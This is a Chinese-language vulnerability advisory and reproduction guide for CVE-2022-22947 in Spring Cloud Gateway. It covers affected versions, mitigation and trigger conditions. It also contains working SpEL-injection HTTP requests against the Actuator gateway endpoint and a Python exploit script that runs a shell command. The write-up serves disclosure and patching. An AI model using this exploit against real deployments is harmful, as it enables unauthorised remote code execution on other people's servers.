【漏洞分析】【spring-cloud-gateway】RCE CVE-2022-22947

0x00 概要

当Spring Cloud Gateway启用、暴露 和不安全Gateway Actuator 端点时，攻击者可以通过向使用 Spring Cloud Gateway 的应用程序发送特制的恶意请求，触发远程任意代码执行，利用难度低，目前POC已公开，风险较高。

Spring Cloud Gateway是基于Spring Framework 和 Spring Boot构建的API网关，它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。

0x01 威胁级别

威胁级别：【严重】

0x02 影响范围

影响版本：
3.1.x系列：Spring Cloud Gateway < 3.1.
3.0.x系列：Spring Cloud Gateway < 3.0.7
其他旧的、不受支持的Spring Cloud Gateway版本

安全版本：
Spring Cloud Gateway >= 3.1.1
Spring Cloud Gateway >= 3.0.7

0x03 漏洞处置

1、目前官方已发布修复版本修复了该漏洞，请受影响的用户升级到安全版本：
https://github.com/spring-cloud/spring-cloud-gateway/tags
2、无法及时升级的用户，可参考官方提供的修复建议进行缓解：
如果不需要Gateway Actuator 端点，通过 management.endpoint.gateway.enabled: false 禁用它。

0x04 漏洞复现

1. 下载spring-gateway-demo的jar包
   https://github.com/wdahlenburg/spring-gateway-demo/releases/download/v.0.0.1/spring-gateway-demo-0.0.1-SNAPSHOT.jar
2. 运行spring-gateway-demo的jar包
   java -jar target/spring-gateway-demo-0.0.1-SNAPSHOT.jar
3. 在浏览器中访问该微服务：
   http://127.0.0.1:9000/actuator/
4. 发送报文创建新的路由
   注：此条中的命令为真正执行的命令，不同于条目5中的命令。

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json
Content-Length: 382

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://wya.pl",
  "order": 0
}

5. 刷新，成功执行命令

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Content-Type: application/json
Connection: close
Content-Length: 268

{
  "predicate": "Paths: [/new_route], match trailing slash: true",
  "route_id": "new_route",
  "filters": [
    "[[RewritePath #{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")} = /${path}], order = 1]"
  ],
  "uri": "https://wya.pl",
  "order": 0
}

简单的利用脚本如下，python3 spring_cloud_RCE.py

#from itsdangerous import json
import requests

def exec(url):

    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36',
        'content-type':'application/json'
    }
    payload2 = '''{ "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\\\"touch /tmp/x\\\")}", "_genkey_1": "/${path}" } } ], "uri": "https://wya.pl", "order": 0 }'''
    payload1 = '''{ "predicate": "Paths: [/new_route], match trailing slash: true", "route_id": "new_route", "filters": [ "[[RewritePath #{T(java.lang.Runtime).getRuntime().exec(\\\"touch /tmp/x\\\")} = /${path}], order = 1]" ], "uri": "https://wya.pl", "order": 0 }'''

    print("payload2: " + payload2)    
    print("payload1: " + payload1)


    url2 = url + "/actuator/gateway/routes/new_route"
    url1 = url + "/actuator/gateway/refresh"
    
    re2 = requests.post(url=url2,data=payload2,headers=headers)
    print (re2, re2.content)
    re1 = requests.post(url=url1,data=payload1,headers=headers)
    print (re2, re1.content)


if __name__ == "__main__":
    exec("http://127.0.0.1:9000")

0x05 漏洞触发条件

1. 需要spring-cloud-starter-gateway和spring-boot-starter-actuator同时存在，该利用路径其实是通过actuator进入的；
2. 需要在actuator上开启gateway暴露
   在actuator 2.x系列中，web端默认只暴露了info和health，需要在配置文件中添加如下几行才会开启gateway暴露，利用才能成功。

management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway

References

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://www.huaweicloud.com/notice/2022/20220303002755102.html
https://github.com/wdahlenburg/spring-gateway-demo
https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947
https://blog.csdn.net/alinyua/article/details/80009435